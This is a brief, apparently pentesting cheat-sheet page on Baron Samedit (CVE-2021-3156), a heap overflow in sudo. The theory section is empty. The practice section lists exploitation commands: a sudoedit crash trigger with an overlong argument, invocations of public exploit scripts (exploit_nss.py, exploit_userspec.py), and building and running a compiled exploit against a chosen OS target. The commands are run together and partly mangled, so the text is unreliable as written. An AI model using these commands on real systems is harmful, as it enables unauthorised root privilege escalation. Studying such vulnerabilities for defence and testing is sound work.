Baron Samedit
CVE-2021–3156
Theory
Practice
sudoedit -s /sudoedit -s '\' $(python3 -c 'print("A"*1000)')python3 exploit_nss.pypython exploit_nss_xxx.py #for specific version
python exploit_userspec.py #Last try# Make file from source
make
# Replace 0 by your OS target
./sudo-hax-me-a-sandwich 0
References
Last updated